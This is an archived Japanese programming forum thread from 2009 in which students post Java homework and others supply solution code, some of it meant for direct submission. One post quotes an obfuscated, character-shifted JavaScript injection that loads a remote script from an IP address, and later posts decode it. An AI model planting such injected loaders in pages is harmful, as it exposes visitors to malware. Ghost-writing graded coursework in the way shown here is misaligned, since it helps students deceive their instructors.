ローマ字の変数とかみるとすごく萎える
328デフォルトの名無しさん:2009/04/17(金) 22:51:23
変数名で性的興奮を得る立場じゃないだろ
さっさと回答を写して提出しろよww
329デフォルトの名無しさん:2009/04/19(日) 21:58:12
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/640.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】4月21日
【 Ver  】1.6.0_11
【 補足 】途中までやったのですが、classの使い方が理解できていないせいでエラーが出まして・・・
エラーの出た部分を問題文とは別にmywork.txtという名前でzipに添付しましたので、
何らかのヒントをいただけると幸いです
330デフォルトの名無しさん:2009/04/19(日) 22:11:30
>>329
import java.util.Random;
public class RandEval {
final static int SIZE = 1000;
//the method that generates and stores the random numbers
public static int[] getNumbers() {
int[] v = new int[SIZE];
Random r = new Random();
for (int i = 0; i < v.length; i++) v[i] = r.nextInt(1000) + 1;
return v;
}
//count how many values are even
public static int countEven(int[] nums) {
int count = 0;
for (int i : nums) if (i % 2 == 0) count++;
return count;
}
public static void main(String[] args) {
int[] values = getNumbers();
int numOfEven = countEven(values);
System.out.println(numOfEven * 100.0/SIZE + "% of the numbers" + "are even numbers");
}
}
331デフォルトの名無しさん:2009/04/20(月) 01:25:05
【 課題 】http://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0034.lzh
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】4月23日
【 Ver  】java version "1.6.0_13
【 補足 】このような形の課題でもいいのかわからないんですがpdfの中にある
      Scanner.java TokenType.java ScannerReader.javaの3つのファイルを作るという課題です
      自分で今日1日中やってたんですがいい結果がでずおそらくほとんど間違ってたと思います
      このスレの方にきくようなレベルの高い問題ではないかもしれませんがもしやってくれる方がいたらお願いします
332デフォルトの名無しさん:2009/04/20(月) 14:15:35
>>331
二回目の授業でカンニングって、はええな
333329:2009/04/20(月) 14:54:48
>>330
解答と解説ありがとうございます

1000個の乱数はgetNumbersのクラスで生成すべきだったのですね
クラスとインスタンスについて、教科書をもう一度読み直してみようと思います
本当にありがとうございました
334デフォルトの名無しさん:2009/04/20(月) 18:40:32
>>332
確かにそうですよね。これできないとこれから先の課題もきつそうですし・・
335318,319:2009/04/20(月) 18:41:19
どなたか答えていただけないでしょうか。
パートナーがいるんですが何もしてくれなく本当に困っていますorz
336デフォルトの名無しさん:2009/04/20(月) 19:42:50
>>335
オマエも何もしてないじゃん
337318,319:2009/04/20(月) 19:50:34
>>336
一応やってるんですが行き詰ってまして。。
丸投げさせてもらいました。
338デフォルトの名無しさん:2009/04/20(月) 23:07:17
そんなときはパートナーに丸投げすれば万事解決
339331:2009/04/21(火) 01:34:56
結構頑張ってるんですがやっぱりできないです
どなたかこんな問題楽勝って方いたら力をかしてもらえないでしょうか?
340デフォルトの名無しさん:2009/04/21(火) 02:20:30

【 課題 】 DPマッチングにより,16個の数字から成る2つのデータ「0011223344556677」「0001123333344567」の時間正規化後の距離をもとめるプログラムを作成せよ

【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】4月26日
【 Ver  】java version "1.6.0_13
【 補足 】dpマッチングというの授業でやったので少しはわかるのですが、プログラムがさっぱり
      で困ってます。まる投げですいませんが、やってくれれば幸いです
341デフォルトの名無しさん:2009/04/21(火) 03:36:07
>>339
教授の名前でググったらうちの大学でワロタww
同じ大学のよしみでJava歴4日文系の俺が手伝ってやるよ
342デフォルトの名無しさん:2009/04/21(火) 05:26:24
>>340
動的計画法?んなのシラネってのが普通だから、まずその説明してからじゃまいか。
343デフォルトの名無しさん:2009/04/21(火) 11:33:07
少しは分かると称する人間が少しも分からないことはよくある
344デフォルトの名無しさん:2009/04/21(火) 13:37:29
【 課題 】乗算型合同法により、一様乱数10000個を
発生させ、等分10区画の度数について、χ2
検定をしなさい。
• 乱数の初期値はなるべく大きな素数を用いな
さい。

【 形態 】1

【 GUI  】4. 制限なし
【 期限 】4/24(金) 
【 Ver  】1.6.0_07 
ちんぷんかんぷんだよね。何でこの大学きたんだろw
みなさんよろしゅー
345デフォルトの名無しさん:2009/04/21(火) 15:51:48
>>344
あきらめたら?
346デフォルトの名無しさん:2009/04/21(火) 16:05:14
かいにじょーけんてーってなに?
っての位は用語欄に書かないと話にならん。
つテンプレ
347331:2009/04/21(火) 17:50:32
>>341
ありがたいです。JUnitの使い方がいまいちわからないんです。
348デフォルトの名無しさん:2009/04/21(火) 19:03:57
>>347
ググレカス
個々の問題の解答は検索で出てくる可能性は低くても
JUnitの使い方なんていくらでも出てくるし公式サイトにドキュメントもある
JDKをインストールできないとかjavacの使い方が分からないとかと同類で
ツールの使い方が分からないのは宿題以前の問題
349デフォルトの名無しさん:2009/04/21(火) 22:08:11
【 課題 】文字列を検索して「,」が見つかったらエラーを表示するメソッドを作成してください。下記メソッドをmainメソッドから実行すること
      メソッドは下記のようにしてください
      public void chkStr(String str) throws Exception
【 形態 】Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】4月22日
【 Ver  】1.6.0_11
【 補足 】すいません、よろしくお願いいたします。
350デフォルトの名無しさん:2009/04/21(火) 22:21:18
>>349
public class Hoge {
public void chkStr(String str) throws Exception {
if (str.contains(".")) throw new Exception("The DOT appears!");
}
public static void main(String[] args) {
if (args.length != 1) return;
try {
new Hoge().chkStr(args[0]);
} catch (Exception e) {
System.err.println(e);
}
}

}
351デフォルトの名無しさん:2009/04/21(火) 22:24:09
あ、エラーを表示するメソッドを作成ってことはchkStr側でエラーを表示するのか。
例外を投げてるところを好きなエラー表示をするようにに書き換えて。
352デフォルトの名無しさん:2009/04/21(火) 22:27:03
【 課題 】コマンドラインから正の整数値を取得し、その整数値を要素数とする配列を作成後、
      その要素にランダムな整数値を入れなさい。
      その配列の要素を何らかの整数アルゴリズム(バブルソート、挿入ソート、クイックソートなど)
      で整列し、出力しなさい。
【 形態 】1. Javaアプリケーション 
【 GUI  】制限なし
【 期限 】4月24日
【 Ver  】java version "1.6.0_13

お願いします。
353デフォルトの名無しさん:2009/04/21(火) 22:29:34
しかも検索すべきはドットでなくカンマだったw
public class Hoge {
public void chkStr(String str) throws Exception {
if (str.contains(",")) System.err.println(str + " contains comma");
}
public static void main(String[] args) throws Exception {
if (args.length != 1) return;
new Hoge().chkStr(args[0]);
}
}
354デフォルトの名無しさん:2009/04/21(火) 22:33:41
エラーを表示する責務をもつメソッドのシグニチャが throws Exceptionとか、何やりたいのか判らん制約だなwww
chkStrも名が体をあらわしてないし、課題出してる奴やる気ねーwwww
355341:2009/04/21(火) 23:21:40
>>347
別にJUnitは使うのが好ましいだけで使わなくても問題ないみたいだぞ
それができないだけならテストモジュールをメモ帳でシコシコ作ればいいだけだろ
いくらなんでもゆとりすぎるわ

あー作ってて損した(’・ω・`)
356デフォルトの名無しさん:2009/04/21(火) 23:55:57
>>352
public class R352 {
public static void main(String[] args) {
int n;
if (args.length != 1 || (n = Integer.parseInt(args[0])) <= 0) return;
int[] a = new int[n];
for (int i = 0; i < n; i++) a[i] = (int)(Math.random() * 201) - 100;
System.out.println("before: " + java.util.Arrays.toString(a));
for (int i = 0; i < n; i++) {
int m = a[i], k = i;
for (int j = i; j < n; j++) if (m > a[j]) {
m = a[j];
k = j;
}
a[k] = a[i];
a[i] = m;
}
System.out.println("after : " + java.util.Arrays.toString(a));
}
}
357デフォルトの名無しさん:2009/04/22(水) 01:47:41
>>344
うちの大学じゃんw
俺もこんな大学入って航海したぜwww

乱数1万個発生させて、10区画に振り分ける。
度数を検定する
自由度9で、有意水準を99%としてExcelのchiinv関数で求めた値より検定値が小さければおk
ダメだったら素数を変える。
ダメな素数は乱数発生の時の周期性がなんたら・・・だった希ガス

たいしてアドバイス出来なくてスマソ

あとは詳しい人頼みます
358331:2009/04/22(水) 03:50:53
>>348
JUnitがわからないみたいに書いちゃって申し訳ないです。課題全部わからないです

>>355
ちょっとでも作ってもらえてうれしいです。ありがとうございます
359349:2009/04/22(水) 07:20:12
>>350,351,353,354
ありがとうございます。本当に助かりました。
360355:2009/04/22(水) 23:02:10
とりあえず作ってみた
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/642.lzh

開発環境はEclipce3.4.2のlinux32ビット版
JUnitは3かな?
スキル不足だからそこらへんは考慮して
あとデータ構造とかも勝手に自由に変えたから今後の授業内容と大幅にズレるかも
単位無くても責任は負いません
361355:2009/04/22(水) 23:07:26
>>360>>331
362331:2009/04/23(木) 00:30:06
ほんとにありがとうございます。昨日もずっと考えてたんですがダメだったんですごく助かります
363デフォルトの名無しさん:2009/04/23(木) 00:33:57
あがったので記念ぱぴこ
364デフォルトの名無しさん:2009/04/23(木) 00:38:46
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/643.txt
【 形態 】Javaアプリケーション
【 GUI  】制限なし
【 期限 】4/23(今日まで)
【 Ver  】java version "1.6.0_13
【 補足 】よろしくお願いします。
365デフォルトの名無しさん:2009/04/23(木) 02:55:03
366デフォルトの名無しさん:2009/04/23(木) 05:56:14
>>365
本当にありがとうございました
367デフォルトの名無しさん:2009/04/23(木) 22:27:23
>>356
本当にありがとうございました。
再度お尋ねしたいのですが、>>352と同じ条件で
以下のプログラミングに何らかのソート(バブルソートや挿入ソート)で
整列するプログラムを書く場合はどう書けばよいのでしょうか?

class Smp17
{
public static void main(String args[])
{
int size = Integer.parseInt(args[0]);
int num[] = new int[size];

for(int i=0;i<num.length;i++){
num[i]=((int)(1000*Math.random()))%size;
}

for(int i=0;i<num.length;i++){
System.out.println("num["+i+"]の値は"+num[i]);
}
}
}
368デフォルトの名無しさん:2009/04/23(木) 22:36:20
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/644.zip
       この中の、Test.javaです。他のファイルはいじりません。
【 形態 】5.コマンドプロンプト
【 GUI  】4. 制限なし
【 期限 】4/24 9:00まで
【 Ver  】1.6.0_13
【 補足 】かなり初歩のプログラムだとは思いますが、どうぞよろしくお願いいたします。

369デフォルトの名無しさん:2009/04/24(金) 00:00:01
【 課題 】public class Intersection {

public static String intersection(int[] a, int[] b) {
// 結果を保存する文字列


// TODO: aとbの積集合を求めて、結果をresultに文字列として格納

// 結果を返す
return result;
}
public static void main(String[] args) {
int[] a = {2, 3, 10, 35};
int[] b = {3, 5, 10, 18};
System.out.println(intersection(a, b));
}
}

intersectionメソッドが返す整数の列は文字列であること。整数の間には、"2,3,5"のように必ず,で区切ることとし、文字列の先頭や末尾には余分な,を付けないこと。
intersectionメソッドが返す整数の列は必ず数値の小さい順に並べること
intersectionメソッドに与えられる引数は、第一引数、第二引数それぞれについて、配列内の要素はかならず小さい順に並んでおり、一つの配列の中に同じ値が2回出てくることはないものと仮定してよい
集合の要素としてはJava言語のint型で扱えるあらゆる整数に対応すること。また集合の要素数もJava言語で実用的に扱える範囲のさまざまな要素数に対応すること
積集合が空の場合は、""を返すこと。

【 形態 】1. Javaアプリケーション
【 期限 】4月26日
【 Ver 】1.6.0_10

学校の授業でやっていますが全くわからないです。
よろしくお願いします。
370デフォルトの名無しさん:2009/04/24(金) 13:30:49
>>369 わざわざJavaでなくても、C/C++言語で十分な宿題。
public static String intersection(int[] a, int[] b) {
  // 結果を保存する文字列
  String result = "";
  int i, j, jstart = 0;
  // TODO: aとbの積集合を求めて、結果をresultに文字列として格納
  for(i=0; i<a.length; i++) {
    for(j=jstart; j<b.length; j++) {
      if(a[i] == b[j]) {
        if(result.length() != 0) result += ",";
        result += a[i];
        jstart = j + 1;
        break;
      }
      if(a[i] < b[j]) break;
    }
  }
  // 結果を返す
  return result;
}
371デフォルトの名無しさん:2009/04/24(金) 15:37:41
もし受けてるのがJavaプログラミングの授業だったらC/C++じゃ不十分だろw
問題を見てピンと来た関係者でそんな授業じゃないよって分かって言ってるなら話は別だが
問題がJava向きでなく不適当だと主張したいとしても課題を出された側にそれを言っても仕方ない
372デフォルトの名無しさん:2009/04/24(金) 15:52:53
>368 汚ないソースでよければ
import java.math.*;
public final class Test {
private Test() { }
public static void main(final String[] args) {
//以下のデータの平均を求め、平均から最も遠いデータの番号を求めよ
Data A = new Data("data_0417.txt");
double[][] a = A.value();
BigDecimal sum = new BigDecimal(0);
// i, j, minimum value. i and j means position of data.
Object[] min = new Object[]{0, 0, new BigDecimal(Integer.MAX_VALUE)};
// i, j, maximum value
Object[] max = new Object[]{0, 0, new BigDecimal(Integer.MIN_VALUE)};
int count = 0;
for(int i = 0;i<a.length;i++){
for(int j = 0;j<a[i].length;j++){
BigDecimal val = new BigDecimal(new Double(a[i][j]).toString());
sum = sum.add(val);
// find minimum value
if(((BigDecimal)min[2]).compareTo(val) > 0) {
min[0] = i; min[1] = j; min[2] = val;
}
// find maximum value
if(((BigDecimal)max[2]).compareTo(val) < 0) {
max[0] = i; max[1] = j; max[2] = val;
}
count++;
}
373デフォルトの名無しさん:2009/04/24(金) 15:54:47
>368 つづき
}
System.out.println("min:" + min[0] + ", " + min[1] + ", " + min[2]);
System.out.println("max:" + max[0] + ", " + max[1] + ", " + max[2]);
// calculate average. sum / count
BigDecimal avg = sum.divide(new BigDecimal(count));
System.out.println("average=" + avg);
// calculate difference between avg and max value(or min value).
BigDecimal diffMin = avg.subtract((BigDecimal)min[2]);
BigDecimal diffMax = ((BigDecimal)max[2]).subtract(avg);
// calculate which is more far from the average between min and max.
if(diffMax.compareTo(diffMin) > 0) {
System.out.println("far from average= [" + max[0] + "][" + max[1] + "] " + max[2]);
} else {
System.out.println("far from average= [" + min[0] + "][" + min[1] + "] " + min[2]);
}
}
}
374デフォルトの名無しさん:2009/04/24(金) 16:32:25
>>371
長いよ

>>370 はスレタイ嫁」でおk
375デフォルトの名無しさん:2009/04/26(日) 01:45:20
こんなのが貼り付けられてたんだけど。どういう意味?

<!-- ad --><html>
<script>
/*@cc_on @*/
/*@if (@_win32)
var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result);
/*@end @*/
</script>
</html><!-- /ad -->
376デフォルトの名無しさん:2009/04/26(日) 01:57:05
終わったな
377デフォルトの名無しさん:2009/04/26(日) 02:52:29
>>376
どう終わってるんだ?教えてくれ。
378デフォルトの名無しさん:2009/04/26(日) 04:17:28
BがAに、CがBに、2が1に、1文字ずつずれてると、JavaScriptに書いてある。
379デフォルトの名無しさん:2009/04/26(日) 10:31:07
script type="text/javascript" src="http://**.***.***.***/stats/stats.js"></script>
380デフォルトの名無しさん:2009/04/26(日) 23:04:07
>>372-373

遅れましたが、ありがとうございます!

なんとか
java.math.*;や、compareTo、subtract、BigDecimalなどを使わずには
作れないでしょうか?
381デフォルトの名無しさん:2009/04/26(日) 23:50:56
注文の多い料理店
382デフォルトの名無しさん:2009/04/27(月) 03:41:39
>>344
もう一度チャンスを・・・
383デフォルトの名無しさん:2009/04/27(月) 04:13:01
用語は以下を参照して下さい。
御願いします。

乗算型合同法
http://www.its-mp.com/JavaProg_Tip12.pdf
Χ2乗検定
http://www.ias.tokushima-u.ac.jp/linguistik/2005/joho/joho2005_chi.html
384デフォルトの名無しさん:2009/04/27(月) 14:47:52
>>344
カイ二乗検定の意味はわかりますよ。散々調べたから、、、
javaでどうやんのって話ですよ皆さん
385デフォルトの名無しさん:2009/04/27(月) 18:12:50
>>384
諦めれ
386デフォルトの名無しさん:2009/04/27(月) 21:32:47
>380 ヒマだからやってみた。でも精度落ちるよ。
public final class Test {
private Test() { }
public static void main(final String[] args) {
//以下のデータの平均を求め、平均から最も遠いデータの番号を求めよ
Data A = new Data("data_0417.txt");
//Data A = new Data("data_0418.txt");
double[][] a = A.value();
double sum = 0;
// i, j, minimum value. i and j means position of data.
Object[] min = new Object[]{0, 0, Double.MAX_VALUE};
// i, j, maximum value
Object[] max = new Object[]{0, 0, Double.MIN_VALUE};
int count = 0;
for(int i = 0;i<a.length;i++){
for(int j = 0;j<a[i].length;j++){
double val = a[i][j];
sum += val;
// find minimum value
if((Double)min[2] > val) {
min[0] = i; min[1] = j; min[2] = val;
}
// find maximum value
if((Double)max[2] < val) {
max[0] = i; max[1] = j; max[2] = val;
}
count++;
}
}
387デフォルトの名無しさん:2009/04/27(月) 21:33:41
つづき。
System.out.println("min:" + min[0] + ", " + min[1] + ", " + min[2]);
System.out.println("max:" + max[0] + ", " + max[1] + ", " + max[2]);
// calculate average. sum / count
double avg = sum / count;
System.out.println("average=" + avg);
// calculate difference between avg and max value(or min value).
double diffMin = avg - (Double)min[2];
double diffMax = (Double)max[2] - avg;
// calculate which is more far from the average between min and max.
if(diffMax > diffMin) {
System.out.println("far from average= [" + max[0] + "][" + max[1] + "] " + max[2]);
} else {
System.out.println("far from average= [" + min[0] + "][" + min[1] + "] " + min[2]);
}
}
}
388デフォルトの名無しさん:2009/04/28(火) 13:19:50
>>344
むずくてむり
389デフォルトの名無しさん:2009/04/28(火) 13:53:52
>>388
そうですね
390デフォルトの名無しさん:2009/04/28(火) 14:15:45
>>357
ありがとうございます。がんばってみます。
391デフォルトの名無しさん:2009/04/28(火) 14:31:35
>>357
ありがとうございます。がんばってみます。
392デフォルトの名無しさん:2009/04/28(火) 16:45:51
【 課題 】
既に在るGUIの配置されている画面に対してプログラミングを書き込み、次の連携動作をさせるシステムを作りなさい。
なお、データベースはMySQLを使用し、データベース名DB1とする。
内容は、T_ID,T_NAME,T_FURIGANA,T_TELNUMBERが初期状態である物とする。
接続に関してのコードは考えない物とし、検索だけをする物とする。
[主な動作]
・画面1(検索画面)にID、ふりがな、又は電話番号を入力し
その内容からSQLを発行し、画面2(情報表示画面)へとDB1より出力されるものとする。
その時のSQLはIDだけで検索、ふりがなだけで検索、電話番号だけで検索の三種類に分け、検索すること
また、画面2にはLabelが配置してあるものとし、そのLabelへと出力させること。
但し、コンポーネントは全てswingとする。
・画面2へ、その時の時刻を表示させ、1秒毎に更新する様にすること
なお、時刻の抜き出し方法は自由とする。
【 形態 】1. Javaアプリケーション
【 GUI  】2. Swing(既に配置済み)
【 期限 】4/30(木)
【 Ver  】1.6.0_13
【 補足 】DBへ接続する等のコードは最初から書き込まれています。
一応自分でも出来る所まではやってみたのですが
画面1に配置してあるjTextFieldより変数へと代入したのち、画面2へとその変数を持っていく所で既に躓きました。

なんだよDB連携って。こんなんアプリでできるの?

休み中に済ませないとマズいので御願いします。
393デフォルトの名無しさん:2009/04/28(火) 16:57:05
>>392
そうですね
394デフォルトの名無しさん:2009/04/28(火) 20:45:10
>392
「既に在るGUIの配置されている画面」と「DBへ接続する等のコード」を提示してくれよw
395デフォルトの名無しさん:2009/04/29(水) 13:16:52
今日中だけど、いつ気づくのかなぁ。
あとデータベースを設置しないといけないだろうけど大丈夫なのか?
396デフォルトの名無しさん:2009/04/29(水) 19:06:37
もういいのかな?
397デフォルトの名無しさん:2009/04/30(木) 21:48:55
【 課題 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/652.zip
【 形態 】5. NetBeans5.5
【 期限 】4月31日 AP11:00
【 Ver  】1.6.0_07
【 補足 】問題文に出てくる(named input.txt)と (NameAndZip)はzipに入っています。
      英語の問題文ですがお願いします。
398デフォルトの名無しさん:2009/04/30(木) 23:14:44
>>397
期限の訂正ですがAM11:00でした。
申し訳ありませんでした。
399デフォルトの名無しさん:2009/05/01(金) 00:18:48
>>397
どこの国?
400デフォルトの名無しさん:2009/05/01(金) 00:52:02
>>399
米国です
401デフォルトの名無しさん:2009/05/01(金) 01:24:22
>>397
うーん、書いといてなんだけど
かなり基礎的な課題だからこれがわからないと今後つらいと思うよ。

パスとかコメントとかパッケは適当に変えてね。

ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/653.java
402デフォルトの名無しさん:2009/05/01(金) 05:06:21
>>386-387

遅くなりましたが、助かりました。
ありがとうございました!
403デフォルトの名無しさん:2009/05/01(金) 12:05:37
4/31日って日本時間って意味?
404デフォルトの名無しさん:2009/05/01(金) 18:57:29
http://web.sfc.keio.ac.jp/~wadari/game/kadai/2009/gp05.html

まずは講義資料をダウンロードしていただいて、これの応用課題1と2をお願いします。


テンプレを読み、それに沿ったレスをしたかったのですがよく分かりませんでした。
ダウンロードしていただければ分かると思います・・・すいません。
【期限】5月3日
405デフォルトの名無しさん:2009/05/01(金) 19:45:26
>404
>難しい課題なので、無理だと思ったら挑戦しなくても結構です。
ってあるんだし挑戦しなけりゃいいんじゃね?
406デフォルトの名無しさん:2009/05/01(金) 20:34:44
>>397
4月31日になったら回答する
407デフォルトの名無しさん:2009/05/01(金) 20:36:52
>>406
世界暦だったら明日かな?
408デフォルトの名無しさん:2009/05/01(金) 21:42:24
>特に、Windows の方は xyzzy を必ず使って下さい。
なにこいつきめぇぇええww
メモ帳使おうかという奴に向かっていきなりxyzzyをしかも「必ず」て。
個人的に何を信仰してようが自由だが強制するもんじゃないだろうに。
409デフォルトの名無しさん:2009/05/02(土) 02:04:44
>>404
> テンプレを読み、それに沿ったレスをしたかったのですがよく分かりませんでした。
マジレスすると、このスレのテンプレも理解できないようではプログラミング向いてない

ところで、その授業の資料をいくつか見てみたが
突っ込みどころがありすぎて困る

こういうダメ講師がダメ学生を業界に送り込んでくるから困るよな
410デフォルトの名無しさん:2009/05/02(土) 03:30:32
>>401
遅そくなりましたがありがとうございました。

>>397の再依頼です。

【 課題 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/652.zip
【 形態 】5. コマンドプロンプト
【 期限 】5月2日 AM11:00 (日本時間です)
【 Ver  】1.6.0_07
【 補足 】>>397の再依頼です。
NetBeansではなくコマンドプロンプトでお願いします。
411デフォルトの名無しさん:2009/05/02(土) 07:38:02
>>409
プログラミングに向いているようなやつは、このスレに丸投げしたりしない。
ただ、コイツは重度のアホなだけ。
412デフォルトの名無しさん:2009/05/02(土) 10:27:32
>>410
1.NameAndZipList.java の1行目の文「package s67l297;」を消す

2.NameAndZipList.java の「FILENAME」の値を変更する
"./data/s67l297/named input.txt"→"named input.txt"

3.どこかのディレクトリに
NameAndZip.java, NameAndZipList.java, named input.txt
の3ファイルを全部つっこむ

4.コマンドプロンプトを起動(ファイル名を指定して実行→「cmd」と入力)

5.[3のディレクトリ]に移動
>$ cd [3のディレクトリ]

6.javaコンパイルコマンドを実行
>$ javac NameAndZipList.java
この時点で[3のディレクトリ]に.classファイルが2つ作成される

7.実行
>$java NameAndZipList
結果が表示される。
413デフォルトの名無しさん:2009/05/02(土) 10:30:07
あ、
@author ore
っていうのも消したほうがいいよ。作成者「俺」って意味だから。
414デフォルトの名無しさん:2009/05/02(土) 14:40:46
>>410
意味不明なこと言わんでほしい
415デフォルトの名無しさん:2009/05/02(土) 22:46:44
>>405
いや、最終課題はシューティングにしようと思うので…
>>408
メモ帳の何がいけないんでしょうかね…
416デフォルトの名無しさん:2009/05/02(土) 23:43:51
高機能なエディタを使ってみたらわかると思う
417デフォルトの名無しさん:2009/05/03(日) 00:14:11
流石に俺もメモ帳はやめとけと思うがw
ただjavaの文法も危うい奴がさらに高機能エディタの使い方も覚えながらとか無理だからな。
xyzzyを薦めもしないっていう。

つーか今回の課題は丸投げで最終課題はやる気満々ってなんだかなw
418デフォルトの名無しさん:2009/05/03(日) 03:30:40
>>415
メモ帳でも良いけど、EclipseとかNetBeansとかいった統合環境使うと
リアルタイムで文法チェックとか推測とかテキスト整形とかしてくれる
から楽だよ。xyzzyを「必ず」なんて言っちゃう人はキモいけど。
419デフォルトの名無しさん:2009/05/03(日) 03:52:51
>>416
そうですか〜
>>417
今回までの課題は全部自分で頑張っていて、やる気はあるんです。
途中まではやってみたんですが、>>1に「丸投げの方が良い」とあったんで敢えて丸投げにしました。
>>418
なんか便利そうですね
ちょっと調べてみます。
420デフォルトの名無しさん:2009/05/03(日) 03:56:01
>>419
とりあえず丸投げせずに初心者質問スレでわからないところを聞くだけにしたらどうか
421デフォルトの名無しさん:2009/05/03(日) 08:22:59
あー自分でやってたんだ。ごめんね。
課題としては丸投げしておいて、補足に自分のコード載せとくとよかったかもね。
「丸投げ推奨」は前提とか無視して聞きたいことだけ聞かれた時に
「で、結局何がしたいの?」ってになる手間を最初から省くためのものだから。
422デフォルトの名無しさん:2009/05/03(日) 15:34:52
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/654.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】1. AWTのみ
【 期限 】5月6日
【 Ver  】1.6.0_13
【 補足 】問題Tと問題Uはできたのですが、問題Vと問題WのGUI化するところが全くわかりません。
      問題Uまでのソースは問題文と一緒にzipに入ってます。
      よろしくお願いします。
423デフォルトの名無しさん:2009/05/03(日) 15:45:02
ろだ死んでるね。
424423:2009/05/03(日) 15:48:44
そんなことなかった。
425デフォルトの名無しさん:2009/05/03(日) 22:29:39
>422
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/655.zip
問題IIIだけやってみた。テストは簡単にしかしてないよ。
Board#move()がなんかおかしい気がするけど直してない。
426デフォルトの名無しさん:2009/05/04(月) 21:12:57
>>425
回答ありがとうございます。
早速テストしてみました。問題ないと思います。
取り敢えず期限6日までというのは問題Vまでのことなので(問題Wは13日まで)助かりました。

あとmoveですが、確かにおかしいですね。
もう一度見直して頑張って直してみたいと思います。
ありがとうございました。
427デフォルトの名無しさん:2009/05/04(月) 22:13:29
みなさん初心者に厳しいですね、市ねとかwww
428デフォルトの名無しさん:2009/05/04(月) 23:04:14
>>427
市ね
429デフォルトの名無しさん:2009/05/05(火) 14:30:36
>>428
('_')
430デフォルトの名無しさん:2009/05/05(火) 14:39:44
>>429
sine
431デフォルトの名無しさん:2009/05/05(火) 14:41:55
>>430
正弦
432デフォルトの名無しさん:2009/05/05(火) 22:16:50
【 課題 】 http://www51.tok2.com/home/rg550/cgi-bin/hosoku.html
にあるファイル名コンパイラの中にあるEx01の(3)の中値記法を後置記法に表示するものです
DELkeyはcomです。
【 形態 】1. Javaアプリケーション
【 期限 】提出期限5月11日(月)
【 Ver  】1.6.0_15
【 補足 】ファイルの中にあるtraceにヒント、アルゴリズムがあります。
433デフォルトの名無しさん:2009/05/06(水) 22:38:41
【 課題 】双方向のリンクリストListedListPDのメソッドadd()において、
      最後の2行がなければどのような不都合が発生するか説明せよ。
      またその不都合が発生する理由を説明せよ。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/657.txt
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/656.txt
【 形態 】1. Javaアプリケーション
【 期限 】5/7
【 Ver  】1.6.0_13
【 補足 】よろしくおねがいします
434デフォルトの名無しさん:2009/05/07(木) 02:34:35
>>432
珍しく教授の自己満足じゃない教える気のある資料だな。
中身は書いてあるアルゴリズムをまんまソースに起こしただけ。
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/658.java

DELkeyって削除キーのことだよ。
435デフォルトの名無しさん:2009/05/07(木) 11:43:18
どうしてみんな解けるんだ。。まったくわからない
436392:2009/05/07(木) 15:05:24
392です。
なんとか課題を引き伸ばすことに成功(少し別画面を作るからといって)
課題GUIの画面をはり忘れてました。 申し訳ない。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/659.zip

御願いします。
なお期限の訂正がありましたので訂正させて頂きます。
【 期限 】4/30(木)
↓変更
【 期限 】5/11(月)
437デフォルトの名無しさん:2009/05/07(木) 17:03:27
ソースかと思ったら画像かよ
438デフォルトの名無しさん:2009/05/07(木) 17:07:40
まさか絵なわけないと思ってダウンロードしてみたが、絵だった。
やる気が無いのはわかるが、毛ほども理解していないというのは・・・
439392:2009/05/07(木) 17:48:31
いや考えはしてみたんだ。
だけども別画面に変数の値を持っていく方法が判らないんだorz
あとはスレッド使っての時刻更新が意味不明
440デフォルトの名無しさん:2009/05/07(木) 23:10:52
【 課題 】倍精度のマシンイプシロンを求めよ
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】5月10日
【 Ver  】1.6.0_11
【 補足 】
少し教えてもらったアルゴリズムをば
1.ε=1.0を代入する
2.1.0+ε=1.0となったら3.へ
  そうでなければε/2.0をεに代入して繰り返す
3.マシンイプシロンとして2.0*εを表示する

丸投げで大変申し訳ないですが、よろしくお願いします。
441デフォルトの名無しさん:2009/05/07(木) 23:38:23
>>440

//1.ε=1.0を代入する
double ε = 1.0;
//2.1.0+ε=1.0となったら3.へ
while(1.0 + ε != 1.0){
//  そうでなければε/2.0をεに代入して繰り返す
ε = ε / 2.0;
}
//3.マシンイプシロンとして2.0*εを表示する
System.out.println(2.0*ε);
442デフォルトの名無しさん:2009/05/08(金) 01:48:41
>>432
ありがとうございます。
443デフォルトの名無しさん:2009/05/08(金) 16:55:47
>>441
ありがとうございました
444デフォルトの名無しさん:2009/05/08(金) 18:44:29
>>439
そこまでわかってたら、あと一歩じゃないか?
445デフォルトの名無しさん:2009/05/09(土) 11:41:28
>>436
だから答えようにも全然情報が足りないんだって。
最低以下がわからないとどうしようもない。

・テーブル定義
 最初は4カラムかと思ったら画像を見る限り10以上ある。さらにそれらが文字列なのか数字なのかすらわからない
・DB接続時のインターフェース
 結果がどう返るかで画面表示の方法が変わってくる
・画面のプロトタイプ(イメージ)
 提示された「画像2」には課題の現在時刻が見当たらない

つーか>>1に丸投げしろって書いてあるだろ。向こうで用意されたソース全部出せよ。
まともな条件が提示されたら書き直してもよかったけど俺はもうやらない。
一応書いたソース上げとくけど、2回目の依頼は反映されてない。
Swing使ったの初めてだから芋っぷりが丁度いいかもしれん。
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/660.java
446デフォルトの名無しさん:2009/05/09(土) 15:04:19
>445
